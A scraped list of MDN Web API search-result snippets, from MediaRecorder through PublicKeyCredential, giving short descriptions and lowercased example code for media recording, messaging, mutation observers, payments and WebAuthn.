var chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); }); mediarecorder.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }); ...
... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.ignoreMutedMedia - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
MediaRecorder.ondataavailable - Web APIs
when mediarecorder.requestdata() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered; then a new blob is created and media capture continues into that blob.
... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.onerror - Web APIs
example this example creates a new mediarecorder instance and starts recording using the user agent's default media format.
... function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { return err.name; /* return the error name */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; switch(error.name) { case invalidstateerror: shownotification("you can't record the video right " + "now.
MediaRecorder.requestData() - Web APIs
raise a dataavailable event containing a blob of the currently captured data (the blob is available under the event's data attribute.) create a new blob and place subsequently captured data into it.
... capturemedia.onclick = function() { mediarecorder.requestdata(); // makes snapshot available of data so far // ondataavailable fires, then capturing continues // in new blob } ...
MediaRecorderErrorEvent() - Web APIs
the mediarecordererrorevent() constructor creates a new mediarecordererrorevent object that represents an error that occurred during the recording of media by the mediastream recording api.
... syntax var errorevent = new mediarecordererrorevent(errorinfo) parameters errorinfo an object describing the error object to be created.
MediaStream: addtrack event - Web APIs
the addtrack event is fired when a new mediastreamtrack object has been added to a mediastream.
... bubbles no cancelable no interface mediastreamtrackevent event handler property onaddtrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('addtrack', (event) => { console.log(`new ${event.track.kind} track added`); }); using the onaddtrack event handler property: let stream = new mediastream(); stream.onaddtrack = (event) => { console.log(`new ${event.track.kind} track added`); }; specifications specification status media capture and streamsthe definition of 'addtrack' in that specification.
MediaStream.clone() - Web APIs
WebAPIMediaStreamclone
this new mediastream object has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called.
... return value a new mediastream instance which has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called.
MediaStream: removetrack event - Web APIs
the removetrack event is fired when a new mediastreamtrack object has been removed from a mediastream.
... bubbles no cancelable no interface mediastreamtrackevent event handler property onremovetrack examples using addeventlistener(): let stream = new mediastream(); stream.addeventlistener('removetrack', (event) => { console.log(`${event.track.kind} track removed`); }); using the onremovetrack event handler property: let stream = new mediastream(); stream.onremovetrack = (event) => { console.log(`${event.track.kind} track removed`); }; specifications specification status media capture and streamsthe definition of 'removetrack' in that specification.
MediaStreamTrack.clone() - Web APIs
this new mediastreamtrack object is identical except for its unique id.
... syntax const newtrack = track.clone() return value a new mediastreamtrack instance which is identical to the one clone() was called, except for its new unique id.
MediaStream Recording API - Web APIs
var stream = canvas.capturestream(25); var recordedchunks = []; console.log(stream); var options = { mimetype: "video/webm; codecs=vp9" }; mediarecorder = new mediarecorder(stream, options); mediarecorder.ondataavailable = handledataavailable; mediarecorder.start(); function handledataavailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedchunks.push(event.data); console.log(recordedchunks); download(); } else { // ...
... } } function download() { var blob = new blob(recordedchunks, { type: "video/webm" }); var url = url.createobjecturl(blob); var a = document.createelement("a"); document.body.appendchild(a); a.style = "display: none"; a.href = url; a.download = "test.webm"; a.click(); window.url.revokeobjecturl(url); } // demo: to download after 9sec settimeout(event => { console.log("stopping"); mediarecorder.stop(); }, 9000); examining and controlling the recorder status you can also use the properties of the mediarecorder object to determine the state of the recording process, and its pause() and resume() methods to pause and resume recording of the source media.
Using the Media Capabilities API - Web APIs
one feature of this is the ability to detect when the device switches gpus, so you can make appropriate adjustments based on the new gpu's capabilities.
...selected>15</option> </select> </li> <li> <label for="bitrate">select a bitrate</label> <select id="bitrate"> <option>4000</option> <option>2500</option> <option>800</option> </select> </li> </ul> <p><input type="button" value="test this video configuration" id="tryit"></p> </form> <ul id="results"></ul> javascript let mc = { videoconfiguration : new object(), tryit: function () { mc.createconfiguration(); mc.testit(); }, createconfiguration: function () { var size = document.getelementbyid('size').value.split('x'); mc.videoconfiguration = { type: 'file', video: { contenttype: document.getelementbyid('codec').value, width: size[0], height: size[1], bitrate: document.getelementb...
MessageChannel.port1 - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel() constructor.
... var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications ...
MessageChannel.port2 - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging ba...
MessageEvent - Web APIs
t="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">messageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor messageevent() creates a new messageevent.
...both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property.
MessagePort.onmessage - Web APIs
}; example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messagin...
MessagePort.postMessage() - Web APIs
example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging bas...
MessagePort - Web APIs
example in the following example, you can see a new channel being created using the messagechannel() constructor.
... var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { outpu...
Metadata.modificationTime - Web APIs
if it was last modified in a year at least five prior to the current year, the file is removed and a new one is created.
... workingdirectory.getfile("tmp/workfile.json", { create: true }, function(fileentry) { fileentry.getmetadata(function(metadata) { if ((new date().getfullyear() - metadata.modificationtime.getfullyear()) >= 5) { fileentry.remove(function() { workingdirectory.getfile("tmp/workfile.json", { create: true }, function(newentry) { fileentry = newentry; }); }); } }); }, handleerror); this api has no official w3c or whatwg specification.
Microdata DOM API - Web APIs
in other cases, a new nodelist object must be returned.
... the getvalues method the propertynodelist object must return a newly constructed array whose values are the values obtained from the itemvalue idl attribute of each of the elements represented by the object, in tree order.
MouseEvent() - Web APIs
the mouseevent() constructor creates a new mouseevent.
... syntax event = new mouseevent(typearg, mouseeventinit); values typearg is a domstring representing the name of the event.
MouseEvent.buttons - Web APIs
if more than one button is pressed, the button values are added together to produce a new number.
... html <p>click anywhere with one or more mouse buttons.</p> <pre id="log">buttons: </pre> javascript let log = document.createtextnode('?'); // let log = new text('?'); function logbuttons(e) { log.data = `${e.buttons} (${e.type})`; // log.nodevalue= `${e.buttons} (${e.type})`; } document.addeventlistener('mouseup', logbuttons); document.addeventlistener('mousedown', logbuttons); // document.addeventlistener('mousemove', logbuttons); document.queryselector('#log').appendchild(log) result specifications specification status co...
MutationObserverInit.attributeFilter - Web APIs
if this property exists on the options object when the mutationobserver() constructor is used to create a new mutationobserver, attribute monitoring is enabled regardless of whether or not the attributes property is true.
... switch(mutation.attributename) { case "status": userstatuschanged(mutation.target.username, mutation.target.status); break; case "username": usernamechanged(mutation.oldvalue, mutation.target.username); break; } break; } }); } var userlistelement = document.queryselector("#userlist"); var observer = new mutationobserver(callback); observer.observe(userlistelement, { attributefilter: [ "status", "username" ], attributeoldvalue: true, subtree: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
MutationObserverInit.attributeOldValue - Web APIs
back(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": notifyuser("attribute name " + mutation.attributename + " changed to " + mutation.target[mutation.attributename] + " (was " + mutation.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new mutationobserver(callback); observer.observe(targetnode, { attributes: true, attributeoldvalue: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
... for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue).
MutationObserverInit.attributes - Web APIs
back(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": notifyuser("attribute name " + mutation.attributename + " changed to " + mutation.target[mutation.attributename] + " (was " + mutation.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new mutationobserver(callback); observer.observe(targetnode, { attributes: true, attributeoldvalue: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
... for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue).
Using Navigation Timing - Web APIs
for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + " ms"; }, false); this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), and outputs that information to the screen by...
...the new code looks like this: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; output = "load time: " + loadingtime + " ms<br/>"; output += "navigation type: "; switch(performance.navigation.type) { case performancenavigation.type_navigate: output += "navigation"; break; case perfo...
Navigator.getUserMedia() - Web APIs
please use the newer navigator.mediadevices.getusermedia() instead.
... while technically not deprecated, this old callback version is marked as such, since the specification strongly encourages using the newer promise returning version.
Navigator.sendBeacon() - Web APIs
there is nothing the next page can do to avoid this, so the new page seems slow, even though it's the previous page's fault.
... window.addeventlistener("unload", function logdata() { var xhr = new xmlhttprequest(); xhr.open("post", "/log", false); // third parameter of `false` means synchronous xhr.send(analyticsdata); }); this is what sendbeacon() replaces.
navigator.hardwareConcurrency - Web APIs
examples in this example, one worker is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use.
... let workerlist = []; for (let i = 0; i < window.navigator.hardwareconcurrency; i++) { let newworker = { worker: new worker('cpuworker.js'), inuse: false }; workerlist.push(newworker); } specification specification status comment html living standardthe definition of 'navigator.hardwareconcurrency' in that specification.
Notification.close() - Web APIs
examples in the following snippet, we have a simple function that when called creates an options object and then a new notification.
... function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon }; var n = new notification(thetitle,options); document.addeventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification.
Notification.renotify - Web APIs
the renotify read-only property of the notification interface specifies whether the user should be notified after a new notification replaces an old one, as specified in the renotify option of the notification() constructor.
... var options = { body: 'do you like my body?', renotify: true } var n = new notification('test notification',options); console.log(n.renotify) // should log true specifications specification status comment notifications apithe definition of 'renotify' in that specification.
OES_standard_derivatives - Web APIs
constants this extension exposes one new constant, which can be used in the hint() and getparameter() methods.
... glsl built-in functions the following new functions can be used in glsl shader code, if this extension is enabled: gentype dfdx(gentype) gentype dfdy(gentype) gentype fwidth(gentype) examples enabling the extensions: gl.getextension('oes_standard_derivatives'); gl.getextension('ext_shader_texture_lod'); shader code that avoids artifacts when wrapping texture coordinates: <script type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord...
OfflineAudioContext - Web APIs
="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">offlineaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor offlineaudiocontext.offlineaudiocontext() creates a new offlineaudiocontext instance.
... note: for a working example, see our offline-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() ...
OrientationSensor - Web APIs
const options = { frequency: 60, referenceframe: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere.
... const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ...
OscillatorNode - Web APIs
its basic property defaults (see audionode for definitions) are: number of inputs 0 number of outputs 1 channel count mode max channel count 2 (not used in the default count mode) channel interpretation speakers constructor oscillatornode() creates a new instance of an oscillatornode object, optionally providing an object specifying default values for the node's properties.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition o...
OverconstrainedError.OverconstrainedError() - Web APIs
the overconstrainederror constructor creates a new overconstrainederror object which indicates that the set of desired capabilities for the current mediastreamtrack cannot currently be met.
... syntax var overconstrainederror = new overconstrainederror() parameters constraint the constraint that was not satified.
PannerNode.coneInnerAngle - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.coneinnerangle = 360; value a double.
...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound volume is constant // if coneinnerangle == 30, it means that when the sound is rot...
PannerNode.coneOuterAngle - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.coneouterangle = 0; value a double.
...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound volume is constant // if coneinnerangle == 30, it means that when the sound is rot...
PannerNode.coneOuterGain - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.coneoutergain = 0; value a double.
...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound volume is constant // if coneinnerangle == 30, it means that when the sound is rot...
Path2D - Web APIs
WebAPIPath2D
creates a new path2d object.
... path2d.moveto() moves the starting point of a new sub-path to the (x, y) coordinates.
PaymentAddress - Web APIs
examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object containing further options.
...}, displayitems: [ { label: "original donation amount", amount: { currency: "usd", value: "65.00" }, }, ], shippingoptions: [ { id: "standard", label: "standard shipping", amount: { currency: "usd", value: "0.00" }, selected: true, }, ], }; const options = { requestshipping: true }; async function dopaymentrequest() { const request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
PaymentRequest.canMakePayment() - Web APIs
async function initpaymentrquest() { const details = { total: { label: "total", amount: { currency: "usd", value: "0.00", }, }, }; const supportsapplepay = new paymentrequest( [{ supportedmethods: "https://apple.com/apple-pay" }], details ).canmakepayment(); // supports apple pay?
...let's see if we can use basic card const supportsbasiccard = await new paymentrequest( [{ supportedmethods: "basic-card" }], details ).canmakepayment(); if (supportsbasiccard) { // show basic card support return; } // otherwise, make payments using html form element } specifications specification status comment payment request apithe definition of 'canmakepayment()' in that specification.
PaymentRequest: paymentmethodchange event - Web APIs
this code creates a new paymentrequest, adds a handler for the paymentmethodchange event by calling the request's addeventlistener(), then calls show() to present the payment interface to the user.
... const options = { requestshipping: true }; const paymentrequest = new paymentrequest(paymentmethods, detailsforshipping("ground"), options); paymentrequest.addeventlistener("paymentmethodchange", handlepaymentchange, false); paymentrequest.show() .then(response => response.complete("success")) .catch(err => console.log("error handling payment request: " + err)); the event handler function itself, handlepaymentchange(), looks like this: handlepaymentchange = event => { const det...
PaymentRequest.shippingOption - Web APIs
const request = new paymentrequest(methoddata, details, options); // async update to details request.onshippingaddresschange = ev => { ev.updatewith(checkshipping(request)); }; // sync update to the total request.onshippingoptionchange = ev => { const shippingoption = shippingoptions.find( option => option.id === request.id ); const newtotal = { currency: "usd", label: "total due", value: cal...
...culatenewtotal(shippingoption), }; ev.updatewith({ ...details, total: newtotal }); }; async function checkshipping(request) { try { const json = request.shippingaddress.tojson(); await ensurecanshipto(json); const { shippingoptions, total } = await calculateshipping(json); return { ...details, shippingoptions, total }; } catch (err) { return { ...details, error: `sorry!
PaymentRequest: shippingoptionchange event - Web APIs
paymentrequest.addeventlistener("shippingoptionchange", event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }, false); after caling a custom function, calculatenewtotal(), to compute the updated total based on the newly-selected shipping option as specified by the shippingoption.
... you can also create an event handler for shippingoptionchange using its corresponding event handler property, onshippingoptionchange: paymentrequest.onshippingoptionchange = event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }; specifications specification status comment payment request apithe definition of 'shippingoptionchange' in that specification.
PaymentRequestEvent() - Web APIs
the paymentrequestevent constructor creates a new paymentrequestevent object which is a constructor for a paymentrequestevent which is the object passed to a payment handler when a paymentrequest is made..
... syntax var paymentrequestevent = new paymentrequesteventy(type, options) parameters type must always be 'paymentrequest'.
PaymentRequestEvent.openWindow() - Web APIs
the openwindow property of the paymentrequestevent interface opens the specified url in a new window, if and only if the given url is on the same origin as the calling page.
... syntax var apromise = paymentrequestevent.openwindow(url) parameters url the url to open in the new window.
PaymentRequestEvent - Web APIs
constructor paymentrequestevent() creates a new paymentrequestevent object.
... methods openwindow() opens the specified url in a new window, if and only if the given url is on the same origin as the calling page.
PaymentRequestUpdateEvent - Web APIs
constructor paymentrequestupdateevent() secure context creates a new paymentrequestupdateevent object.
... methods in addition to methods inherited from the parent interface, event, paymentrequestupdateevent offers the following methods: paymentrequestupdateevent.updatewith() secure context if the event handler determines that information included in the payment request needs to be changed, or that new information needs to be added, it calls updatewith() with the information that needs to be replaced or added.
PeformanceObserver.disconnect() - Web APIs
syntax performanceobserver.disconnect(); example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event // ...
... // disable additional performance events observer.disconnect(); } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'disconnect()' in that specification.
PerformanceObserverEntryList.getEntries() - Web APIs
example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i])...
...; } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to frame event only observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentries()' in that specification.
PerformanceObserverEntryList.getEntriesByName() - Web APIs
example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i])...
...; } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentriesbyname()' in that speci...
PerformanceObserverEntryList.getEntriesByType() - Web APIs
example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i])...
...; } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentriesbytype()' in that speci...
Using Performance Timeline - Web APIs
function performanceobservers() { // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_e...
...t entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); // create observer for just the "mark" event type var observe_mark = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'mark' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'mark' event observe_mark.observe({entrytypes: ['mark']}); } function print_perf_entry(pe) { log("name: " + pe.name + "; entryt...
PeriodicWave - Web APIs
constructor periodicwave.periodicwave() creates a new periodicwave object instance using the default values for all properties.
... var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by d...
Pointer events - Web APIs
additionally, a pointer event contains the usual properties present in mouse events (client coordinates, target element, button states, etc.) in addition to new properties for other forms of input: pressure, contact geometry, tilt, etc.
... specifications specification status comment pointer events – level 3 editor's draft added new apis for getcoalescedevent and getpredictedevents, new pointerrawupdate event, additional touch-action property values pan-left, pan-right, pan-up, pan-down.
ProgressEvent() - Web APIs
the progressevent() constructor returns a newly created progressevent, representing the current completion of a long process.
... syntax progressevent = new progressevent(type, {lengthcomputable: abooleanvalue, loaded: anumber, total: anumber}); arguments the progressevent() constructor also inherits arguments from event().
ProgressEvent - Web APIs
examples the following example adds a progressevent to a new xmlhttprequest and uses it to display the status of the request.
... var progressbar = document.getelementbyid("p"), client = new xmlhttprequest() client.open("get", "magical-unicorns") client.onprogress = function(pe) { if(pe.lengthcomputable) { progressbar.max = pe.total progressbar.value = pe.loaded } } client.onloadend = function(pe) { progressbar.value = pe.loaded } client.send() specifications specification status comment xmlhttprequestthe definition of 'progressevent' in that specification.
PublicKeyCredential.getClientExtensionResults() - Web APIs
examples var publickey = { // here are the extensions (as "inputs") extensions: { "loc": true, // this extension has been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { ...
...var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "uvi" extensions }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'getclientextensionresults()' in that specification.
PublicKeyCredential.id - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then...
...(function (newcredentialinfo) { var id = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'id' in that specification.
PublicKeyCredentialCreationOptions.attestation - Web APIs
examples var publickey = { attestation: "indirect", challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then...
...(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestation' in that specification.
PublicKeyCredentialCreationOptions.challenge - Web APIs
